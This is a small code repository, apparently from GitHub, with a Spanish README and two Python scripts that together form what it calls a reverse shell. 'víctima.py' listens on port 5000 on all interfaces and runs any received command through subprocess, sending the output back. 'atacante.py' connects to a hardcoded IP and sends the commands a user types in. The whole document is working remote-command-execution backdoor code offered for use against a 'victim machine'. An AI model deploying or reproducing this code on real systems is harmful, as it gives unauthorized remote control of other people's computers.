├── .vscode └── settings.json ├── README.md ├── atacante.py └── víctima.py /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "editor.tabCompletion": "on", 3 | "diffEditor.codeLens": true 4 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Reverse Shell Python 2 | 3 | Script de Python Cliente-Servidor para establecer una conexión reversa entre ambas máquina (máquina víctima, máquina atacante) 4 | 5 | Necesitaremos ejecutar el script atacante.py desde la máquina atacante, donde se va a pedir al usuario que inserte un comando para que se envíe a la máquina víctima y se pueda ejecutar gracias a la librería subprocess. Después, al mismo tiempo, recibiremos ese output procedente de la máquina víctima de vuelta a nuestra máquina atacante con la ejecución del comando correspondiente. 6 | 7 | El funcionamiento será el siguiente, donde primero ejecutaremos el código desde la máquina víctima para que permanezca en escucha a espera del comando enviado por la máquina atacante: 8 | 9 | ![imagen](https://user-images.githubusercontent.com/96432001/223709097-8ac5ff76-c14d-4b8c-a1c5-ae240577109f.png) 10 | 11 | Y ahora si ejecutamos el código desde la máquina atacante, ya podremos insertar el comando que queramos y recibirlo de vuelta: 12 | 13 | ![imagen](https://user-images.githubusercontent.com/96432001/223709031-eb2f57d2-1f78-4edb-af0c-c662dbc75959.png) 14 | 15 | -------------------------------------------------------------------------------- /atacante.py: -------------------------------------------------------------------------------- 1 | from socket import socket 2 | 3 | 4 | # Definimos la dirección y puerto del servidor (Siempre de la máquina víctima) 5 | server_address = ('192.168.6.38', 5000) 6 | 7 | # Creamos el socket cliente, ya que restablecemos la conexión a cada comando que se ejecute 8 | client_socket = socket() 9 | client_socket.connect(server_address) 10 | estado = True 11 | 12 | while estado: 13 | 14 | # Solicitamos al usuario que introduzca un comando 15 | comando_enviar = input("Introduce el comando que quieras enviar a la máquina víctima (o 'exit' para salir): ") 16 | 17 | 18 | # Si el usuario introduce "exit", cerramos la conexión y salimos del bucle 19 | if comando_enviar == 'exit': 20 | # Le decimos al servidor que la conexion la cerramos: 21 | client_socket.send(comando_enviar.encode()) 22 | # Cerramos el socket, que se volverá a abrir al inicio del bucle: 23 | client_socket.close() 24 | estado = False 25 | else: 26 | # Enviamos el comando a la máquina víctima: 27 | client_socket.send(comando_enviar.encode()) 28 | 29 | # Esperamos a recibir la respuesta de la víctima y lo guardamos en la variable respuesta. 30 | respuesta = client_socket.recv(4096) 31 | 32 | # Imprimimos la respuesta; 33 | print(respuesta.decode()) -------------------------------------------------------------------------------- /víctima.py: -------------------------------------------------------------------------------- 1 | from socket import socket 2 | from subprocess import getoutput 3 | from os import chdir, getcwd 4 | from time import sleep 5 | 6 | # Definimos la dirección y puerto, la direcion 0.0.0.0 hace referencia a que aceptamos conexiones de cualquier interfaz 7 | server_address = ('0.0.0.0', 5000) 8 | 9 | # Creamos el socket (la conexión) 10 | server_socket = socket() 11 | 12 | # Le pasamos la tupla donde especificamos donde escuchar 13 | server_socket.bind(server_address) 14 | 15 | # Cantidad de clientes maximos que se pueden conectar: 16 | server_socket.listen(1) 17 | 18 | # Esperamos a recibir una conexión y acceptarla: 19 | client_socket, client_address = server_socket.accept() 20 | 21 | estado = True 22 | 23 | while estado: 24 | # Recibimos el comando de la máquina atacante 25 | comando = client_socket.recv(4096).decode() 26 | 27 | # Si el cliente envía "exit", cerramos la conexión y salimos del bucle 28 | if comando == 'exit': 29 | # Cerramos la conexión con el cliente 30 | client_socket.close() 31 | # Cerramos el socket servidor 32 | server_socket.close() 33 | estado = False 34 | 35 | elif comando.split(" ")[0] == 'cd': 36 | # Cambiamos de directorio de trabajo 37 | chdir(" ".join(comando.split(" ")[1:])) 38 | client_socket.send("ruta actual: {}".format(getcwd()).encode()) 39 | 40 | else : 41 | # Ejecutamos el comando y obtenemos su salida: 42 | salida = getoutput(comando) 43 | 44 | # Enviamos la salida a la máquina atacante 45 | client_socket.send(salida.encode()) 46 | 47 | sleep(0.1) --------------------------------------------------------------------------------